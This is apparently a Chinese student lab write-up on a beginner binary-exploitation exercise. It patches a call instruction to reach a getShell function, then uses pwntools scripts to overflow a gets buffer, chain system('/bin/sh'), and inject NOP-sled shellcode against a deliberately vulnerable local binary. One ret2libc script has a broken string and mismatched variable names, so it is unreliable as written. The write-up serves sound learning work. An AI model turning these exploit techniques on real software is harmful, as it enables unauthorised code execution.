文章目录
实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
实验过程
1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
为了这点醋包个饺子,去学一下pwn
老规矩,先装库
apt-get install python3-dev git libssl-dev libffi-dev build-essential python3-pwntools
先看看elf文件有没有什么防护,用checksec看看
Arch(architecture) 架构是i386的32位架构,有同学无法运行,查了一下是没安装对应架构
RELRO(ReLocation Read-Only) 只开了部分,不是FULL的,说明可以修改got表,RELRO是用来保护GOT和PLT以及延迟绑定的。
GOT:Global Offset Table,全局偏移表/全局函数表,每一个外部定义的符号在这里有相应的条目,GOT位于ELF(一种用于二进制文件 、可执行文件、目标代码、共享库和核心转储格式文件的文件格式)的数据段中,叫做GOT段。
PLT:Precedure Linkage Table,过程链接表/内部函数表,linux里的延迟绑定技术,顾名思义它就是一个过度,真正的终点还是在GOT表里。
Stack 如果栈中开启Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过,这里没开。
NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,这里是disable。
PIE PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,这里也没开。
那也就相当于,啥防护也没开,那就随便hack了,先丢进IDA分析一下。
反编译之后可以看到,主函数里面就一个foo函数
跟进foo函数看看,这里有个char的s[28]数组,但是使用get去传入,那么就存在一个缓冲区溢出漏洞,gets函数不会检查输入字符的长度,那么如果输入长度大于了28就会产生栈溢出。它会将多余的数据覆盖其它内存空间中。而且参数和变量的栈空间是相邻的,也就是说,如果产生栈溢出,会覆盖返回地址和参数。所以可以通过使gets读取的字符串多余部分溢出到存储参数的栈空间,从而修改函数传入的参数。具体下面第二部分会画个图,一眼就能看懂了。
这里甚至不用自己写shellcode,直接有一个已经写好的函数。
这里先把各个函数的地址值列一下,方便后面计算
函数 | 起始地址 |
---|---|
foo | 0x08048491 |
getshell | 0x0804847D |
这里看到用call跳转到foo函数,foo是0x08048491,这里指令之后是0x080484BA那么说明这里应该跳转0x08048491-0x080484BA=0XFFFFFD7,这里的减法应该是
hex(0x08048491-0x080484BA+0x10000000).upper()
#'0XFFFFFD7'
因为是复数,要补上8bit,也就是+0x10000000
因为这里啥安全措施都没有开启,直接winhex找一下0XFFFFFD7去,把他改到跳成getshell函数的偏移量。
那么要让他跳转到getshell函数,就需要先计算一下需要跳转的偏移量。0x0804847D-0x080484BA=0XFFFFFC3
hex(0x0804847D-0x080484BA+0x10000000).upper()
#'0XFFFFFC3'
也就是说在十六进制里面需要找到E8D7FFFFFF(e8是call的机器码,d7ffffff是因为用的小端表示)
找到E8D7FFFFFF
把D7改成C3
这里放三个对比:
第一个是原始的pwn文件,这里是输入了一大堆,尝试溢出,这里可以看到输入的字符串远超28个,已经会提示出错
第二个的原始的pwn文件,这里输入123后输出123,为预期输入,且无提示
第三个是修改后的pwn文件,这里直接调用了getshell函数,再打开了system函数,再调用了/bin/sh命令行,开始命令执行
2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
利用上面的IDA反编译分析,可以得知,在foo进行gets函数字符串输入的时候,存在缓冲区溢出漏洞
分析其对应的栈结构,字符串s距离ebp的长度为0x1c,那么对应的栈结构应该如下图所示
那么我们就可以通过缓冲区溢出,加上填充的方式,将这个return_addr替换成getshell_addr
所以这里需要填充0x1c+4=32个字节
那么payload就是
b'echo'*7+getshell_addr
所以贴个脚本:
from pwn import *
p = process('./pwn20222934')
#连接进程
getshell_addr = 0x804847D
#设置地址
payload = b'echo'*8 + p32(getshell_addr)
#生成payload
p.sendline(payload)
#打payload
p.interactive()
#交互式连接
这里的地址因为要转成小端,所以用p32函数直接转换即可,sendLine函数相当于输入了这些字符流。
运行一下,成功getshell
仔细分析一下,用IDA的远程调试
IDA远程调试需要利用socat然后pwn的remote再加上ida的procees attach,即可在windows上调试pwntools运行的elf文件。
为防止看不懂,贴个脚本
socat TCP-LISTEN:12345,fork,reuseaddr EXEC:./pwn20222934#TCP-LISTEN后面跟端口,EXEC后面跟调试文件名
开启socat
python打开pwntools
from pwn import *
p = remote('127.0.0.1',8888)#远程连接
打开ida的远程服务
IDA打开Debuuger模式
连上虚拟机之后选上这个elf文件
然后看看这个栈的信息,Stack View
这边可以看到,正常的流程应该是get完成之后,然后puts输入的字符串,然后返回一个retaddr、再返回到main里面。
但是将payload打进去之后,
getshell_addr = 0x804847D
payload = b'echo'*8 + p32(getshell_addr)
p.sendline(payload)
我们可以发现,这里的函数被替换了
这里也就是完成了一个缓冲区溢出的地址覆盖,非常简单。
3. 注入一个自己制作的shellcode并运行这段shellcode
在溢出数据内包含一段攻击指令,用攻击指令的起始地址覆盖掉返回地址。攻击指令一般都是用来打开 shell,从而可以获得当前进程的控制权,所以这类指令片段也被成为“shellcode”。shellcode 可以用汇编语言来写再转成对应的机器码,也可以上网搜索直接复制粘贴,这里就不再赘述。下面我们先写出溢出数据的组成,再确定对应的各部分填充进去。
payload : padding1 + address of shellcode + padding2 + shellcode
上面是利用程序自己写好的getshell函数进行getshell,那么这里需要自己写一个shellcode,那么可以尝试找到这个system里的/bin/sh,因为这里啥防护都没做,所以可以直接找libc库里面的system函数,这属于plt表的泄漏libc。
这种情况比较简单,在linux下用objdump命令就能查找libc中符号的偏移
objdump -T ./pwn20222934
emmm好像都是0,应该是LIBC没加载到,试下ROPgadget
ROPgadget --binary ./pwn20222934 --string "/bin/sh"
好的,找到了/bin/sh的地址
在IDA里面搂一眼
找到地址了,再找找system
那么把这几个列表列出来,使用自己弄的shellcode就行,那么就是不用程序原始提供的getshell()函数,自己尝试调用/bin/sh去getshell
函数 | 起始地址 |
---|---|
sysrem | 0x08048350 |
/bin/sh | 0x08048560 |
那么很简单了,先把system的地址覆盖到ret_addr,再覆盖EIP再接上/bin/sh的地址即可,简简单单
from pwn import *
p = process('./pwn20222934')
#shellcode = asm(shellcraft.sh())
systemplt_addr = 0x8048350
bihsh_addr = 0x8048560
payload = b'echo' * 8 + p32(system_plt_addr) + b'echo + p32(bin_sh_addr)
p.sendline(payload)
p.interactive()
或者利用shellcraft进行shellcode生成
这里使用NSR进行攻击。NSR主要适用于被溢出的缓冲区变量比较大,足以容纳 Shellcode 的情况,其攻击数据从低地址到高地址的构造方式是一堆 Nop 指令(即空操作指令)之后填充 Shellcode,再加上一些期望覆盖 RET 返回地址的跳转地址,从而构成了 NSR 攻击数据缓冲区。
这里使用gdb调试获取ret_addr,使用nop做一个间断
生成一个shell去获取ret_addr
这里先生成shellcode,使用shellcraft
然后利用gdb进行调试
然后gdb attach到这个进程上
再在foo的结尾上打个断点
b *0x080484ae
然后另一边运行,把shell打进去,gdb直接c到底
获取到ret_addr了,这里已经成功修改,那么ret_addr就是0xFFFFCFFC
写个脚本
from pwn import *
p = process("./pwn20222934")
payload = 8 * b'echo' + p32(0xFFFFCFFC+4) + b'echo' * 3 + asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
这就是两种利用方式
实验问题
问题1:不会pwntools和IDA远程调试,不懂溢出利用,不懂plt表。
解决:学。
实验体会
web🐕迈出了他成为pwn✌的第一步